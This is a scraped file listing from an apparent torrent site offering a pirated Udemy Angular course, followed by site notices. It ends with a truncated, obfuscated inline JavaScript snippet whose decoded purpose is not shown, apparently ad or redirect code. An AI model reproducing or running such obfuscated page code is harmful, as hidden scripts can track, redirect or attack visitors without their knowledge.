    22 - Angular Modules & Optimizing Angular Apps/017 Loading Services Differently_en.srt 11.11 KB
    22 - Angular Modules & Optimizing Angular Apps/018 Ahead-of-Time Compilation.mp4 52.46 MB
    22 - Angular Modules & Optimizing Angular Apps/018 Ahead-of-Time Compilation_en.srt 13.2 KB
    22 - Angular Modules & Optimizing Angular Apps/019 Wrap Up.mp4 3.06 MB
    22 - Angular Modules & Optimizing Angular Apps/019 Wrap Up_en.srt 1.02 KB
    22 - Angular Modules & Optimizing Angular Apps/020 Useful Resources & Links.html 349 B
    22 - Angular Modules & Optimizing Angular Apps/22230848-opt-mod-01-feature-module.zip 47.84 KB
    22 - Angular Modules & Optimizing Angular Apps/22230856-opt-mod-02-routing-module.zip 48.29 KB
    22 - Angular Modules & Optimizing Angular Apps/22230860-opt-mod-03-shared-module.zip 48.93 KB
    22 - Angular Modules & Optimizing Angular Apps/22230862-opt-mod-04-core-module.zip 48.88 KB
    22 - Angular Modules & Optimizing Angular Apps/22230872-opt-mod-01-feature-module.zip 47.84 KB
    22 - Angular Modules & Optimizing Angular Apps/22230874-opt-mod-02-routing-module.zip 48.29 KB
    22 - Angular Modules & Optimizing Angular Apps/22230876-opt-mod-03-shared-module.zip 48.93 KB
    22 - Angular Modules & Optimizing Angular Apps/22230878-opt-mod-04-core-module.zip 48.88 KB
    22 - Angular Modules & Optimizing Angular Apps/22597870-opt-mod-05-lazy-loading.zip 95.47 KB
    22 - Angular Modules & Optimizing Angular Apps/22597872-opt-mod-06-finished.zip 94.49 KB
    22 - Angular Modules & Optimizing Angular Apps/22597874-opt-mod-05-lazy-loading.zip 95.47 KB
    22 - Angular Modules & Optimizing Angular Apps/22597876-opt-mod-06-finished.zip 94.49 KB
    23 - Deploying an Angular App/001 Module Introduction.mp4 694.85 KB
    23 - Deploying an Angular App/001 Module Introduction_en.srt 1.07 KB
    23 - Deploying an Angular App/002 Deployment Preparation & Steps.mp4 3.87 MB
    23 - Deploying an Angular App/002 Deployment Preparation & Steps_en.srt 4.27 KB
    23 - Deploying an Angular App/003 Using Environment Variables.mp4 24.33 MB
    23 - Deploying an Angular App/003 Using Environment Variables_en.srt 6.19 KB
    23 - Deploying an Angular App/004 Deployment Example_ Firebase Hosting.mp4 21.67 MB
    23 - Deploying an Angular App/004 Deployment Example_ Firebase Hosting_en.srt 12.34 KB
    23 - Deploying an Angular App/005 Server Routing vs Browser Routing.html 407 B
    23 - Deploying an Angular App/18769790-deployment-finished.zip 98.24 KB
    23 - Deploying an Angular App/18769794-deployment-finished.zip 98.24 KB
    24 - Bonus_ Working with NgRx in our Project/001 Module Introduction.mp4 539.13 KB
    24 - Bonus_ Working with NgRx in our Project/001 Module Introduction_en.srt 886 B
    24 - Bonus_ Working with NgRx in our Project/002 What is Application State_.mp4 39.73 MB
    24 - Bonus_ Working with NgRx in our Project/002 What is Application State__en.srt 11.81 KB
    24 - Bonus_ Working with NgRx in our Project/003 What is NgRx_.mp4 10.14 MB
    24 - Bonus_ Working with NgRx in our Project/003 What is NgRx__en.srt 9.15 KB
    24 - Bonus_ Working with NgRx in our Project/004 Getting Started with Reducers.mp4 43.08 MB
    24 - Bonus_ Working with NgRx in our Project/004 Getting Started with Reducers_en.srt 8.87 KB
    24 - Bonus_ Working with NgRx in our Project/005 Adding Logic to the Reducer.mp4 21.25 MB
    24 - Bonus_ Working with NgRx in our Project/005 Adding Logic to the Reducer_en.srt 7.86 KB
    24 - Bonus_ Working with NgRx in our Project/006 Understanding & Adding Actions.mp4 21.85 MB
    24 - Bonus_ Working with NgRx in our Project/006 Understanding & Adding Actions_en.srt 7.93 KB
    24 - Bonus_ Working with NgRx in our Project/007 Setting Up the NgRx Store.mp4 21.82 MB
    24 - Bonus_ Working with NgRx in our Project/007 Setting Up the NgRx Store_en.srt 5.9 KB
    24 - Bonus_ Working with NgRx in our Project/008 Selecting State.mp4 61.87 MB
    24 - Bonus_ Working with NgRx in our Project/008 Selecting State_en.srt 11.75 KB
    24 - Bonus_ Working with NgRx in our Project/009 Dispatching Actions.mp4 47.98 MB
    24 - Bonus_ Working with NgRx in our Project/009 Dispatching Actions_en.srt 9.52 KB
    24 - Bonus_ Working with NgRx in our Project/010 Multiple Actions.mp4 43.73 MB
    24 - Bonus_ Working with NgRx in our Project/010 Multiple Actions_en.srt 12.38 KB
    24 - Bonus_ Working with NgRx in our Project/011 Preparing Update & Delete Actions.mp4 14.98 MB
    24 - Bonus_ Working with NgRx in our Project/011 Preparing Update & Delete Actions_en.srt 4.08 KB
    24 - Bonus_ Working with NgRx in our Project/012 Updating & Deleting Ingredients.mp4 47.33 MB
    24 - Bonus_ Working with NgRx in our Project/012 Updating & Deleting Ingredients_en.srt 14.28 KB
    24 - Bonus_ Working with NgRx in our Project/013 Expanding the State.mp4 43.64 MB
    24 - Bonus_ Working with NgRx in our Project/013 Expanding the State_en.srt 10.95 KB
    24 - Bonus_ Working with NgRx in our Project/014 Managing More State via NgRx.mp4 67.75 MB
    24 - Bonus_ Working with NgRx in our Project/014 Managing More State via NgRx_en.srt 12.13 KB
    24 - Bonus_ Working with NgRx in our Project/015 Removing Redundant Component State Management.mp4 16.81 MB
    24 - Bonus_ Working with NgRx in our Project/015 Removing Redundant Component State Management_en.srt 4.24 KB
    24 - Bonus_ Working with NgRx in our Project/016 First Summary & Clean Up.mp4 25.07 MB
    24 - Bonus_ Working with NgRx in our Project/016 First Summary & Clean Up_en.srt 6.67 KB
    24 - Bonus_ Working with NgRx in our Project/017 One Root State.mp4 96.05 MB
    24 - Bonus_ Working with NgRx in our Project/017 One Root State_en.srt 14.73 KB
    24 - Bonus_ Working with NgRx in our Project/018 Setting Up Auth Reducer & Actions.mp4 53.7 MB
    24 - Bonus_ Working with NgRx in our Project/018 Setting Up Auth Reducer & Actions_en.srt 10.73 KB
    24 - Bonus_ Working with NgRx in our Project/019 Dispatching Auth Actions.mp4 43.34 MB
    24 - Bonus_ Working with NgRx in our Project/019 Dispatching Auth Actions_en.srt 7.41 KB
    24 - Bonus_ Working with NgRx in our Project/020 Auth Finished (For Now...).mp4 51.09 MB
    24 - Bonus_ Working with NgRx in our Project/020 Auth Finished (For Now...)_en.srt 8.31 KB
    24 - Bonus_ Working with NgRx in our Project/021 And Important Note on Actions.mp4 39.99 MB
    24 - Bonus_ Working with NgRx in our Project/021 And Important Note on Actions_en.srt 8.1 KB
    24 - Bonus_ Working with NgRx in our Project/022 Exploring NgRx Effects.mp4 17.15 MB
    24 - Bonus_ Working with NgRx in our Project/022 Exploring NgRx Effects_en.srt 5.12 KB
    24 - Bonus_ Working with NgRx in our Project/023 Defining the First Effect.mp4 21.17 MB
    24 - Bonus_ Working with NgRx in our Project/023 Defining the First Effect_en.srt 6.46 KB
    24 - Bonus_ Working with NgRx in our Project/024 Effects & Error Handling.mp4 63.06 MB
    24 - Bonus_ Working with NgRx in our Project/024 Effects & Error Handling_en.srt 11.32 KB
    24 - Bonus_ Working with NgRx in our Project/025 Login via NgRx Effects.mp4 65.17 MB
    24 - Bonus_ Working with NgRx in our Project/025 Login via NgRx Effects_en.srt 10.98 KB
    24 - Bonus_ Working with NgRx in our Project/026 Managing UI State in NgRx.mp4 53.02 MB
    24 - Bonus_ Working with NgRx in our Project/026 Managing UI State in NgRx_en.srt 9.5 KB
    24 - Bonus_ Working with NgRx in our Project/027 Finishing the Login Effect.mp4 60.23 MB
    24 - Bonus_ Working with NgRx in our Project/027 Finishing the Login Effect_en.srt 8.69 KB
    24 - Bonus_ Working with NgRx in our Project/028 Preparing Other Auth Actions.mp4 19.59 MB
    24 - Bonus_ Working with NgRx in our Project/028 Preparing Other Auth Actions_en.srt 4.56 KB
    24 - Bonus_ Working with NgRx in our Project/029 Adding Signup.mp4 46.4 MB
    24 - Bonus_ Working with NgRx in our Project/029 Adding Signup_en.srt 7.33 KB
    24 - Bonus_ Working with NgRx in our Project/030 Further Auth Effects.mp4 60.94 MB
    24 - Bonus_ Working with NgRx in our Project/030 Further Auth Effects_en.srt 7.48 KB
    24 - Bonus_ Working with NgRx in our Project/031 Adding Auto-Login with NgRx.mp4 60.59 MB
    24 - Bonus_ Working with NgRx in our Project/031 Adding Auto-Login with NgRx_en.srt 9.3 KB
    24 - Bonus_ Working with NgRx in our Project/032 Adding Auto-Logout.mp4 47.45 MB
    24 - Bonus_ Working with NgRx in our Project/032 Adding Auto-Logout_en.srt 7.07 KB
    24 - Bonus_ Working with NgRx in our Project/033 Finishing the Auth Effects.mp4 27.54 MB
    24 - Bonus_ Working with NgRx in our Project/033 Finishing the Auth Effects_en.srt 2.96 KB
    24 - Bonus_ Working with NgRx in our Project/034 Using the Store Devtools.mp4 22.1 MB
    24 - Bonus_ Working with NgRx in our Project/034 Using the Store Devtools_en.srt 7.34 KB
    24 - Bonus_ Working with NgRx in our Project/035 The Router Store.mp4 8.84 MB
    24 - Bonus_ Working with NgRx in our Project/035 The Router Store_en.srt 2.59 KB
    24 - Bonus_ Working with NgRx in our Project/036 Getting Started with NgRx for Recipes.mp4 72.7 MB
    24 - Bonus_ Working with NgRx in our Project/036 Getting Started with NgRx for Recipes_en.srt 13.24 KB
    24 - Bonus_ Working with NgRx in our Project/037 Fetching Recipe Detail Data.mp4 65.09 MB
    24 - Bonus_ Working with NgRx in our Project/037 Fetching Recipe Detail Data_en.srt 10.94 KB
    24 - Bonus_ Working with NgRx in our Project/038 Fetching Recipes & Using the Resolver.mp4 113.85 MB
    24 - Bonus_ Working with NgRx in our Project/038 Fetching Recipes & Using the Resolver_en.srt 13.88 KB
    24 - Bonus_ Working with NgRx in our Project/039 Fixing the Auth Redirect.mp4 15.49 MB
    24 - Bonus_ Working with NgRx in our Project/039 Fixing the Auth Redirect_en.srt 2.38 KB
    24 - Bonus_ Working with NgRx in our Project/040 Update, Delete and Add Recipes.mp4 59.43 MB
    24 - Bonus_ Working with NgRx in our Project/040 Update, Delete and Add Recipes_en.srt 16.82 KB
    24 - Bonus_ Working with NgRx in our Project/041 Storing Recipes via Effects.mp4 42.52 MB
    24 - Bonus_ Working with NgRx in our Project/041 Storing Recipes via Effects_en.srt 6.24 KB
    24 - Bonus_ Working with NgRx in our Project/042 Cleanup Work.mp4 9.76 MB
    24 - Bonus_ Working with NgRx in our Project/042 Cleanup Work_en.srt 2.11 KB
    24 - Bonus_ Working with NgRx in our Project/043 Wrap Up.mp4 15.84 MB
    24 - Bonus_ Working with NgRx in our Project/043 Wrap Up_en.srt 2.42 KB
    24 - Bonus_ Working with NgRx in our Project/044 Alternative NgRx Syntax.html 1.4 KB
    24 - Bonus_ Working with NgRx in our Project/045 Useful Resources & Links.html 150 B
    24 - Bonus_ Working with NgRx in our Project/18275454-ngrx-12-finished.zip 103.7 KB
    24 - Bonus_ Working with NgRx in our Project/18275458-ngrx-11-recipe-crud.zip 107.84 KB
    24 - Bonus_ Working with NgRx in our Project/18275460-ngrx-10-fetch-recipes-effect.zip 111.85 KB
    24 - Bonus_ Working with NgRx in our Project/18769642-ngrx-09-devtools-and-routing.zip 107.63 KB
    24 - Bonus_ Working with NgRx in our Project/18769648-ngrx-08-auth-finished.zip 104.08 KB
    24 - Bonus_ Working with NgRx in our Project/18769650-ngrx-07-localstorage-effects.zip 108.25 KB
    24 - Bonus_ Working with NgRx in our Project/18769652-ngrx-06-login-effect.zip 103.95 KB
    24 - Bonus_ Working with NgRx in our Project/18769654-ngrx-05-auth-without-effects.zip 105.88 KB
    24 - Bonus_ Working with NgRx in our Project/18769656-ngrx-02-added-store.zip 97.55 KB
    24 - Bonus_ Working with NgRx in our Project/18769666-ngrx-03-added-actions.zip 98.71 KB
    24 - Bonus_ Working with NgRx in our Project/18769674-ngrx-01-first-reducer.zip 96.63 KB
    24 - Bonus_ Working with NgRx in our Project/18769870-ngrx-01-first-reducer.zip 96.63 KB
    24 - Bonus_ Working with NgRx in our Project/18769872-ngrx-02-added-store.zip 97.55 KB
    24 - Bonus_ Working with NgRx in our Project/18769876-ngrx-03-added-actions.zip 98.71 KB
    24 - Bonus_ Working with NgRx in our Project/18769884-ngrx-04-finished-shopping-list.zip 105.47 KB
    24 - Bonus_ Working with NgRx in our Project/18769890-ngrx-05-auth-without-effects.zip 105.88 KB
    24 - Bonus_ Working with NgRx in our Project/18769892-ngrx-06-login-effect.zip 103.95 KB
    24 - Bonus_ Working with NgRx in our Project/18769896-ngrx-07-localstorage-effects.zip 108.25 KB
    24 - Bonus_ Working with NgRx in our Project/18769898-ngrx-08-auth-finished.zip 104.08 KB
    24 - Bonus_ Working with NgRx in our Project/18769906-ngrx-09-devtools-and-routing.zip 107.63 KB
    24 - Bonus_ Working with NgRx in our Project/18769908-ngrx-10-fetch-recipes-effect.zip 111.85 KB
    24 - Bonus_ Working with NgRx in our Project/18769916-ngrx-11-recipe-crud.zip 107.84 KB
    24 - Bonus_ Working with NgRx in our Project/18769920-ngrx-12-finished.zip 103.7 KB
    24 - Bonus_ Working with NgRx in our Project/20610138-ngrx-04-finished-shopping-list.zip 105.47 KB
    24 - Bonus_ Working with NgRx in our Project/25585530-ngrx-create-functions-syntax.zip 112.22 KB
    25 - Bonus_ Angular Universal/001 Module Introduction.mp4 3.56 MB
    25 - Bonus_ Angular Universal/001 Module Introduction_en.srt 4.42 KB
    25 - Bonus_ Angular Universal/002 Angular Universal & ModuleMapLoader.html 216 B
    25 - Bonus_ Angular Universal/003 Adding Angular Universal.mp4 55.73 MB
    25 - Bonus_ Angular Universal/003 Adding Angular Universal_en.srt 14.1 KB
    25 - Bonus_ Angular Universal/004 Adding Angular Universal with NestJS.mp4 26.08 MB
    25 - Bonus_ Angular Universal/004 Adding Angular Universal with NestJS_en.srt 8.87 KB
    25 - Bonus_ Angular Universal/005 Deploying Universal Apps.html 1.07 KB
    25 - Bonus_ Angular Universal/006 Important_ Remaining Lectures.html 460 B
    25 - Bonus_ Angular Universal/007 Module Introduction.mp4 2.32 MB
    25 - Bonus_ Angular Universal/007 Module Introduction_en.srt 2.07 KB
    25 - Bonus_ Angular Universal/008 Getting Started with Angular Universal.mp4 6.81 MB
    25 - Bonus_ Angular Universal/008 Getting Started with Angular Universal_en.srt 2.04 KB
    25 - Bonus_ Angular Universal/009 Working on the App Module.mp4 19.31 MB
    25 - Bonus_ Angular Universal/009 Working on the App Module_en.srt 5.13 KB
    25 - Bonus_ Angular Universal/010 Adding a Server-Side Build Workflow.mp4 45.41 MB
    25 - Bonus_ Angular Universal/010 Adding a Server-Side Build Workflow_en.srt 6.18 KB
    25 - Bonus_ Angular Universal/011 Adding a NodeJS Server.mp4 68.2 MB
    25 - Bonus_ Angular Universal/011 Adding a NodeJS Server_en.srt 11.2 KB
    25 - Bonus_ Angular Universal/012 Pre-Rendering the App on the Server.mp4 32.35 MB
    25 - Bonus_ Angular Universal/012 Pre-Rendering the App on the Server_en.srt 5.33 KB
    25 - Bonus_ Angular Universal/013 Next Steps.mp4 7.89 MB
    25 - Bonus_ Angular Universal/013 Next Steps_en.srt 2.29 KB
    25 - Bonus_ Angular Universal/014 Angular Universal Gotchas.html 927 B
    25 - Bonus_ Angular Universal/18719240-ng-universal-03-nestjs.zip 113.04 KB
    25 - Bonus_ Angular Universal/18719242-ng-universal-02-finished.zip 112.04 KB
    25 - Bonus_ Angular Universal/18784222-ng-universal-01-start.zip 106.37 KB
    25 - Bonus_ Angular Universal/external-assets-links.txt 85 B
    26 - Angular Animations/001 Making Animations Work with Angular 4+.html 1.25 KB
    26 - Angular Animations/002 Introduction.mp4 3.98 MB
    26 - Angular Animations/002 Introduction_en.srt 1.45 KB
    26 - Angular Animations/003 Setting up the Starting Project.mp4 2.54 MB
    26 - Angular Animations/003 Setting up the Starting Project_en.srt 1.31 KB
    26 - Angular Animations/004 Animations Triggers and State.mp4 61.74 MB
    26 - Angular Animations/004 Animations Triggers and State_en.srt 9.65 KB
    26 - Angular Animations/005 Switching between States.mp4 10.72 MB
    26 - Angular Animations/005 Switching between States_en.srt 2.8 KB
    26 - Angular Animations/006 Transitions.mp4 5.96 MB
    26 - Angular Animations/006 Transitions_en.srt 2.5 KB
    26 - Angular Animations/007 Advanced Transitions.mp4 27.95 MB
    26 - Angular Animations/007 Advanced Transitions_en.srt 6.74 KB
    26 - Angular Animations/008 Transition Phases.mp4 21.26 MB
    26 - Angular Animations/008 Transition Phases_en.srt 4.89 KB
    26 - Angular Animations/009 The _void_ State.mp4 53.03 MB
    26 - Angular Animations/009 The _void_ State_en.srt 7.97 KB
    26 - Angular Animations/010 Using Keyframes for Animations.mp4 29.09 MB
    26 - Angular Animations/010 Using Keyframes for Animations_en.srt 6.6 KB
    26 - Angular Animations/011 Grouping Transitions.mp4 8.9 MB
    26 - Angular Animations/011 Grouping Transitions_en.srt 2.83 KB
    26 - Angular Animations/012 Using Animation Callbacks.mp4 22.88 MB
    26 - Angular Animations/012 Using Animation Callbacks_en.srt 3.22 KB
    26 - Angular Animations/30927636-animations-start.zip 38.65 KB
    26 - Angular Animations/30927640-animations-finished.zip 39.71 KB
    27 - Adding Offline Capabilities with Service Workers/001 Module Introduction.mp4 10.79 MB
    27 - Adding Offline Capabilities with Service Workers/001 Module Introduction_en.srt 2.91 KB
    27 - Adding Offline Capabilities with Service Workers/002 Adding Service Workers.mp4 167.61 MB
    27 - Adding Offline Capabilities with Service Workers/002 Adding Service Workers_en.srt 17.83 KB
    27 - Adding Offline Capabilities with Service Workers/003 Caching Assets for Offline Use.mp4 22.86 MB
    27 - Adding Offline Capabilities with Service Workers/003 Caching Assets for Offline Use_en.srt 7.84 KB
    27 - Adding Offline Capabilities with Service Workers/004 Caching Dynamic Assets & URLs.mp4 57.71 MB
    27 - Adding Offline Capabilities with Service Workers/004 Caching Dynamic Assets & URLs_en.srt 10.04 KB
    27 - Adding Offline Capabilities with Service Workers/005 Further Links & Resources.html 338 B
    27 - Adding Offline Capabilities with Service Workers/18271932-ng-pwa-01-start.zip 37.34 KB
    27 - Adding Offline Capabilities with Service Workers/18271940-ng-pwa-02-finished.zip 61.12 KB
    27 - Adding Offline Capabilities with Service Workers/18271942-ng-pwa-02-finished.zip 61.12 KB
    28 - A Basic Introduction to Unit Testing in Angular Apps/001 About this Section.html 343 B
    28 - A Basic Introduction to Unit Testing in Angular Apps/002 Introduction.mp4 3.1 MB
    28 - A Basic Introduction to Unit Testing in Angular Apps/002 Introduction_en.srt 1.83 KB
    28 - A Basic Introduction to Unit Testing in Angular Apps/003 Why Unit Tests_.mp4 5.63 MB
    28 - A Basic Introduction to Unit Testing in Angular Apps/003 Why Unit Tests__en.srt 3.21 KB
    28 - A Basic Introduction to Unit Testing in Angular Apps/004 Analyzing the Testing Setup (as created by the CLI).mp4 36.22 MB
    28 - A Basic Introduction to Unit Testing in Angular Apps/004 Analyzing the Testing Setup (as created by the CLI)_en.srt 10.72 KB
    28 - A Basic Introduction to Unit Testing in Angular Apps/005 Running Tests (with the CLI).mp4 24.76 MB
    28 - A Basic Introduction to Unit Testing in Angular Apps/005 Running Tests (with the CLI)_en.srt 2.57 KB
    28 - A Basic Introduction to Unit Testing in Angular Apps/006 Adding a Component and some fitting Tests.mp4 52.49 MB
    28 - A Basic Introduction to Unit Testing in Angular Apps/006 Adding a Component and some fitting Tests_en.srt 7.88 KB
    28 - A Basic Introduction to Unit Testing in Angular Apps/007 Testing Dependencies_ Components and Services.mp4 38.54 MB
    28 - A Basic Introduction to Unit Testing in Angular Apps/007 Testing Dependencies_ Components and Services_en.srt 8.26 KB
    28 - A Basic Introduction to Unit Testing in Angular Apps/008 Simulating Async Tasks.mp4 88.2 MB
    28 - A Basic Introduction to Unit Testing in Angular Apps/008 Simulating Async Tasks_en.srt 11.9 KB
    28 - A Basic Introduction to Unit Testing in Angular Apps/009 Using _fakeAsync_ and _tick_.mp4 20.97 MB
    28 - A Basic Introduction to Unit Testing in Angular Apps/009 Using _fakeAsync_ and _tick__en.srt 2.94 KB
    28 - A Basic Introduction to Unit Testing in Angular Apps/010 Isolated vs Non-Isolated Tests.mp4 54.52 MB
    28 - A Basic Introduction to Unit Testing in Angular Apps/010 Isolated vs Non-Isolated Tests_en.srt 7.86 KB
    28 - A Basic Introduction to Unit Testing in Angular Apps/011 Further Resources & Where to Go Next.html 1.29 KB
    28 - A Basic Introduction to Unit Testing in Angular Apps/18296734-testing-final.zip 41.58 KB
    29 - Angular as a Platform & Closer Look at the CLI/001 Module Introduction.mp4 1.83 MB
    29 - Angular as a Platform & Closer Look at the CLI/001 Module Introduction_en.srt 2.44 KB
    29 - Angular as a Platform & Closer Look at the CLI/002 A Closer Look at _ng new_.mp4 40.26 MB
    29 - Angular as a Platform & Closer Look at the CLI/002 A Closer Look at _ng new__en.srt 7.56 KB
    29 - Angular as a Platform & Closer Look at the CLI/003 IDE & Project Setup.mp4 8.07 MB
    29 - Angular as a Platform & Closer Look at the CLI/003 IDE & Project Setup_en.srt 3.8 KB
    29 - Angular as a Platform & Closer Look at the CLI/004 Understanding the Config Files.mp4 54.31 MB
    29 - Angular as a Platform & Closer Look at the CLI/004 Understanding the Config Files_en.srt 13.21 KB
    29 - Angular as a Platform & Closer Look at the CLI/005 Important CLI Commands.mp4 30.83 MB
    29 - Angular as a Platform & Closer Look at the CLI/005 Important CLI Commands_en.srt 8.06 KB
    29 - Angular as a Platform & Closer Look at the CLI/006 The _angular.json_ File - A Closer Look.mp4 67.99 MB
    29 - Angular as a Platform & Closer Look at the CLI/006 The _angular.json_ File - A Closer Look_en.srt 16.76 KB
    29 - Angular as a Platform & Closer Look at the CLI/007 Angular Schematics - An Introduction.mp4 6.81 MB
    29 - Angular as a Platform & Closer Look at the CLI/007 Angular Schematics - An Introduction_en.srt 2.34 KB
    29 - Angular as a Platform & Closer Look at the CLI/008 The _ng add_ Command.mp4 17.98 MB
    29 - Angular as a Platform & Closer Look at the CLI/008 The _ng add_ Command_en.srt 6.27 KB
    29 - Angular as a Platform & Closer Look at the CLI/009 Using Custom _ng generate_ Schematics.mp4 17.31 MB
    29 - Angular as a Platform & Closer Look at the CLI/009 Using Custom _ng generate_ Schematics_en.srt 4.41 KB
    29 - Angular as a Platform & Closer Look at the CLI/010 Smooth Updating of Projects with _ng update_.mp4 6.17 MB
    29 - Angular as a Platform & Closer Look at the CLI/010 Smooth Updating of Projects with _ng update__en.srt 3.13 KB
    29 - Angular as a Platform & Closer Look at the CLI/011 Simplified Deployment with _ng deploy_.mp4 28.46 MB
    29 - Angular as a Platform & Closer Look at the CLI/011 Simplified Deployment with _ng deploy__en.srt 7.87 KB
    29 - Angular as a Platform & Closer Look at the CLI/012 Understanding _Differential Loading_.mp4 28.7 MB
    29 - Angular as a Platform & Closer Look at the CLI/012 Understanding _Differential Loading__en.srt 7.38 KB
    29 - Angular as a Platform & Closer Look at the CLI/013 Managing Multiple Projects in One Folder.mp4 21.24 MB
    29 - Angular as a Platform & Closer Look at the CLI/013 Managing Multiple Projects in One Folder_en.srt 6.18 KB
    29 - Angular as a Platform & Closer Look at the CLI/014 Angular Libraries - An Introduction.mp4 15.45 MB
    29 - Angular as a Platform & Closer Look at the CLI/014 Angular Libraries - An Introduction_en.srt 3.92 KB
    29 - Angular as a Platform & Closer Look at the CLI/015 Wrap Up.mp4 9.49 MB
    29 - Angular as a Platform & Closer Look at the CLI/015 Wrap Up_en.srt 2.04 KB
    29 - Angular as a Platform & Closer Look at the CLI/external-assets-links.txt 81 B
    30 - Angular Changes & New Features/001 A First Look At Angular Elements.mp4 122.01 MB
    30 - Angular Changes & New Features/001 A First Look At Angular Elements_en.srt 21.86 KB
    31 - Course Roundup/001 Course Roundup.mp4 4.96 MB
    31 - Course Roundup/001 Course Roundup_en.srt 2.2 KB
    31 - Course Roundup/002 Bonus_ More Content_.html 1.04 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/001 Module Introduction.mp4 3.53 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/001 Module Introduction_en.srt 1.78 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/002 What & Why_.mp4 22.77 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/002 What & Why__en.srt 9.39 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/003 Installing & Using TypeScript.mp4 37.46 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/003 Installing & Using TypeScript_en.srt 9.45 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/004 Base Types & Primitives.mp4 20.84 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/004 Base Types & Primitives_en.srt 5.7 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/005 Array & Object Types.mp4 31.58 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/005 Array & Object Types_en.srt 8.5 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/006 Type Inference.mp4 14.53 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/006 Type Inference_en.srt 3.87 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/007 Working with Union Types.mp4 14.89 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/007 Working with Union Types_en.srt 4.16 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/008 Assigning Type Aliases.mp4 16.65 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/008 Assigning Type Aliases_en.srt 3.94 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/009 Diving into Functions & Function Types.mp4 27.62 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/009 Diving into Functions & Function Types_en.srt 7.48 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/010 Understanding Generics.mp4 45.5 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/010 Understanding Generics_en.srt 11.1 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/011 Classes & TypeScript.mp4 50.61 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/011 Classes & TypeScript_en.srt 11.77 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/012 Working with Interfaces.mp4 27.76 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/012 Working with Interfaces_en.srt 8.82 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/013 Configuring the TypeScript Compiler.mp4 27.34 MB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/013 Configuring the TypeScript Compiler_en.srt 3.92 KB
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/014 Module Resources.html 313 B
    32 - Bonus_ TypeScript Introduction (for Angular 2 Usage)/32988034-typescript-intro-01-finished.zip 5.23 KB

Download Info

  • Tips

    “[FreeCourseSite.com] Udemy - Angular - The Complete Guide (2022 Edition)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 